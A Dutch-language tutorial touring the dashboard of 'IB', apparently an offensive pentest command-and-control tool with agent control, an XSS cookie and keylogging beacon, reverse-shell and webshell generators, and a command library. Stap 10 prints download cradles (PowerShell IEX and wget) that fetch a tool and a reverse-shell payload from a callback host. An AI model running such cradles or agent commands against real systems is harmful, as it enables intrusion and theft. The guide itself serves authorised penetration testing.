Het IB Dashboard: Complete Rondleiding

Het Incompetent Bastard (IB) dashboard is het centrale commandocentrum tijdens een penetratietest. Vanuit dit enkele web-interface beheer je agents, bekijk je verzamelde data, genereer je payloads, doorzoek je commando’s en houd je bevindingen bij. In deze tutorial doorlopen we elke sectie van het dashboard en laten we zien hoe je de verschillende functies effectief gebruikt.

Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen.

Vereisten

IB – Open het dashboard op http://127.0.0.1:5000/ en houd het naast deze tutorial open zodat je elke sectie direct kunt bekijken.

Stap 1: De KPI-rij

Bovenaan het dashboard staat een rij van vijf KPI-panelen die een directe samenvatting geven van de status van je pentest:

Active Agents

Toont het aantal C2-agents dat momenteel terugbelt naar IB. Agents worden aangemaakt via de Agent Generator en communiceren via het /agent/checkin endpoint. Een agent heeft drie mogelijke statussen:

Hooked Clients

Het aantal browsers dat via de XSS-beacon (/x.js) verbonden is met IB. Elke gehoekte browser stuurt automatisch cookies, toetsaanslagen en localStorage naar het dashboard.

Findings

Het totaal aantal geregistreerde bevindingen in de database. Bevindingen worden aangemaakt via het findings-formulier en bevatten OWASP-classificatie, CVSS-score en severity-niveau.

Notes

Het aantal operatornotities. Notes zijn snelle aantekeningen die je tijdens de pentest maakt. Elke notitie heeft een optie om opgenomen te worden in het rapport.

Commands

Het totaal aantal beschikbare commando-bestanden in de /http/commands/ directory. Standaard bevat IB meer dan 460 commando’s.

IB – De KPI-panelen worden bijgewerkt bij elke paginalading. Agent-data wordt daarnaast live gepolld via JavaScript.

Stap 2: Active Agents Panel

Direct onder de KPI-rij staat het Active Agents panel. Dit toont een overzichtstabel van alle geregistreerde agents met de volgende kolommen:

Live polling

Het agents panel wordt elke 5 seconden automatisch bijgewerkt via een JavaScript fetch naar /api/agents. Dit gebeurt via dashboard-modern.js, zonder dat de pagina opnieuw geladen hoeft te worden.

Agent interactie

Klik op een agent om het agent-detail scherm te openen op /dashboard/agents. Van daaruit kun je:

# Voorbeeld: commando naar agent sturen via API
curl -X POST http://127.0.0.1:5000/api/agents/abc123/command \
  -H "Content-Type: application/json" \
  -d '{"command": "whoami"}'

De agent haalt het commando op via /agent/cmd/<agent_id> en stuurt het resultaat terug via /agent/res/<cmd_id>.

IB – Elke agent-sessie wordt automatisch opgenomen als een asciinema recording in meuk/logs/. Je kunt deze later terugkijken via /dashboard/recordings.

Stap 3: Quick Actions

De Quick Actions sectie bevat knoppen die direct naar de payload-generators leiden. Elke knop opent een specifiek generatorformulier:

Knop Route Doel
Macro /dashboard/macro VBA Office macro met shellcode
Meterpreter /dashboard/meterpreter XOR-encrypted C# meterpreter
PowerShell /dashboard/powershell PowerShell download cradles
ASP.NET Shell /dashboard/aspxshell ASPX webshell voor IIS
PHP Shell /dashboard/phpshell PHP reverse shell
HTA /dashboard/hta HTML Application payload
Linux ELF /dashboard/linux_elf ELF reverse shell binary
MSI /dashboard/msi_payload Windows Installer payload
Python RevShell /dashboard/pyrevshell Python reverse shell
Shellcode Injector /dashboard/invokeshellcode PowerShell shellcode-injectie
Agent Generator /dashboard/agentgen C2-agents in 7 programmeertalen

Elke generator gebruikt het IP-adres uit de Settings (localhost URL) als standaard callback-adres.

Stap 4: Operator Snippets

De Operator Snippets sectie bevat veelgebruikte commando’s die je snel kunt kopieren. Dit zijn vooraf geconfigureerde one-liners voor taken die je regelmatig uitvoert tijdens een pentest, zoals het opzetten van listeners of het downloaden van tools op een doelsysteem.

Snippets worden dynamisch gegenereerd op basis van je localhost URL uit de settings. Wanneer je het IP-adres wijzigt, worden alle snippets automatisch bijgewerkt.

Stap 5: Web Telemetry

De Web Telemetry sectie geeft een compact overzicht van data die binnenkomt via de kwetsbaarheidslabs. Het toont tellingen voor:

Klik op een van deze items om naar het betreffende sub-dashboard te navigeren.

Sub-dashboards

Elk kwetsbaarheidslab heeft zijn eigen dashboard:

Dashboard Route Doel
XSS /dashboard/xxs Cookies, keylogger, localStorage, C2
XXE /dashboard/xxe Out-of-band data collectie
CSRF /dashboard/csrf Cross-Site Request Forgery captures
SQLi /dashboard/sqli SQL injection logging
SSRF /dashboard/ssrf Server-Side Request Forgery

IB – De telemetrie-data wordt opgeslagen in de SQLite database. Elk sub-dashboard toont gedetailleerde informatie per client-IP, inclusief timestamps.

Stap 6: Findings Panel

Het findings panel toont de meest recente bevindingen met kleurcodering op basis van severity:

Findings beheren

Het volledige findings-overzicht is bereikbaar via /dashboard/findings. Van daaruit kun je:

Elke bevinding bevat velden voor:

IB – Gebruik de status “draft” terwijl je nog aan een bevinding werkt. Zet de status op “final” als de bevinding compleet is en klaar voor het rapport.

Stap 7: Notes Panel

Het notes panel toont je operatornotities. Notes zijn bedoeld als snelle aantekeningen tijdens de pentest. Elke note heeft:

Het volledige notes-overzicht is bereikbaar via /dashboard/notes. Je kunt notes ook aanmaken vanuit de Command Library door een commando op te slaan als note.

Stap 8: Command Library

De Command Library is een van de krachtigste onderdelen van IB. Het bevat meer dan 460 pre-built commando’s, georganiseerd in categorieen. De library is bereikbaar onderaan het dashboard of via /dashboard/commands.

Zoeken en filteren

Bovenaan de Command Library staat een zoekbalk. Typ een trefwoord om commando’s te filteren op naam of categorie. Voorbeelden:

Kopieren en injecteren

Elk commando heeft twee knoppen:

  1. Copy – Kopieert de inhoud naar het klembord
  2. Save as Note – Slaat het commando op als operatornotitie

Daarnaast kun je commando’s direct injecteren in actieve screen sessies via de inject-functie. De API hiervoor is:

curl -X POST http://127.0.0.1:5000/api/commands/inject \
  -H "Content-Type: application/json" \
  -d '{"screen": "metasploit", "command": "kerb_kerberoast"}'

String substitutie

Commando’s bevatten placeholders zoals YOURIP, YOURDOMAIN en TARGET. Bij het kopieren of injecteren kun je deze vervangen door de werkelijke waarden. De inject-API ondersteunt een replacements array:

curl -X POST http://127.0.0.1:5000/api/commands/inject \
  -H "Content-Type: application/json" \
  -d '{
    "screen": "metasploit",
    "command": "kerb_kerberoast",
    "replacements": [
      {"find": "YOURDOMAIN", "replace": "corp.local"},
      {"find": "YOURIP", "replace": "10.10.14.5"}
    ]
  }'

IB – De Command Library wordt geladen via /api/commands, dat alle bestanden uit /http/commands/ leest. Nieuwe commando’s die je aan die directory toevoegt verschijnen automatisch.

De Evidence Gallery toont screenshots die zijn opgeslagen in raw/screenshots/. Deze worden geserveerd via /api/screenshots en weergegeven in een galerij-formaat op het dashboard.

Op macOS stelt het init-script automatisch de screenshot-locatie in op raw/screenshots/. Op andere systemen kun je handmatig screenshots naar deze directory kopieren.

Ondersteunde bestandsformaten: PNG, JPG, JPEG, GIF, BMP, WebP en SVG.

Stap 10: Files en Downloads

Het bestandsbeheer is bereikbaar via /dashboard/files. Dit toont drie categorieen:

Categorie Directory URL-prefix Doel
Tools Mini http/tools/mini/ /tm/ Compacte pentest-tools
Tools http/tools/ /t/ Volledige pentest-tools
Payloads http/payloads/ /p/ Gegenereerde payloads

Bestanden zijn ook bereikbaar via korte URL’s voor gebruik in download-cradles:

# PowerShell download van tool
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:5000/t/linpeas.sh')

# Korte URL voor payload
wget http://10.10.14.5:5000/p/shell_443.elf -O /tmp/shell

De API op /api/files retourneert een JSON-overzicht van alle beschikbare bestanden, inclusief bestandsgrootte en of een preview beschikbaar is.

IB – Downloads zijn standaard beperkt tot localhost. Stel PUBLIC_DOWNLOADS=true in of activeer “Public Downloads” in de settings om downloads vanaf andere IP-adressen toe te staan.

Stap 11: Task Runner

De Task Runner op /dashboard/tasks biedt een veilige manier om vooraf goedgekeurde commando’s uit te voeren. Alleen commando’s die in de allowlist staan kunnen worden gestart. De taken zijn gegroepeerd per categorie:

Taken worden asynchroon uitgevoerd in achtergrond-threads. De status is te volgen via polling op /api/tasks/runs/<run_id>.

# Start een taak via de API
curl -X POST http://127.0.0.1:5000/api/tasks/run \
  -H "Content-Type: application/json" \
  -d '{"task": "scan", "args": {"interface": "tun0", "naam": "lab", "hosts": "10.1.2.0/24"}}'

Stap 12: Recordings

Op /dashboard/recordings vind je alle asciinema-opnames. IB neemt automatisch agent-sessies op in .rec bestanden in meuk/logs/. Daarnaast kun je screen sessies starten met ingebouwde recording:

# Start een nieuwe screen sessie met recording via de API
curl -X POST http://127.0.0.1:5000/api/screen/start \
  -H "Content-Type: application/json" \
  -d '{"name": "pentest-1", "shell": "bash"}'

De recordings zijn af te spelen via de ingebouwde asciinema-player in de browser.

Stap 13: Screen Terminal

Het Screen Terminal op /dashboard/screen biedt een web-interface voor interactie met screen sessies. Je kunt:

Dit is bijzonder handig voor het aansturen van Metasploit of andere interactieve tools vanuit het dashboard.

Stap 14: Navigatie-overzicht

De sidebar bevat links naar alle sub-pagina’s. Hier is een compleet overzicht:

Pagina Route Doel
Dashboard / Command center overzicht
XSS Lab /dashboard/xxs XSS beacon en data collectie
XXE Lab /dashboard/xxe XXE out-of-band exfiltratie
CSRF Lab /dashboard/csrf CSRF injection endpoints
SQLi Lab /dashboard/sqli SQL injection logging
SSRF Lab /dashboard/ssrf SSRF redirect endpoints
Files /dashboard/files Bestandsbeheer (tools, payloads)
Findings /dashboard/findings Bevindingenbeheer
Notes /dashboard/notes Operatornotities
Tasks /dashboard/tasks Taak runner
Agents /dashboard/agents Agent detail overzicht
Recordings /dashboard/recordings Asciinema opnames
Screen /dashboard/screen Web-terminal voor screen sessies
Commands /dashboard/commands Command Library
Checklists /dashboard/checklists Audit checklists

IB – Gebruik keyboard shortcuts in je browser om snel tussen tabs te wisselen. Open het dashboard, findings en de command library elk in een apart tabblad voor een efficiente workflow.

Samenvatting

In deze rondleiding hebben we alle secties van het IB dashboard doorlopen:

  1. De KPI-rij met realtime overzicht van agents, hooks, findings, notes en commands
  2. Het Active Agents panel met live polling en commandoverwerking
  3. Quick Actions voor directe toegang tot alle payload-generators
  4. Operator Snippets met dynamisch gegenereerde one-liners
  5. Web Telemetry voor overzicht van alle kwetsbaarheidslabs
  6. Het Findings panel met severity-kleurcodering en OWASP-classificatie
  7. Notes voor snelle operatoraantekeningen
  8. De Command Library met 460+ doorzoekbare commando’s en screen-injectie
  9. Evidence Gallery voor screenshot-beheer
  10. Files en Downloads voor tool- en payload-distributie
  11. De Task Runner voor veilige uitvoering van pentest-taken
  12. Recordings voor het terugkijken van agent- en screen-sessies

Het dashboard is ontworpen om alles wat je nodig hebt tijdens een pentest binnen handbereik te houden. Gebruik de sidebar-navigatie om snel te schakelen tussen de verschillende secties en houd het command center open als centraal overzichtspunt.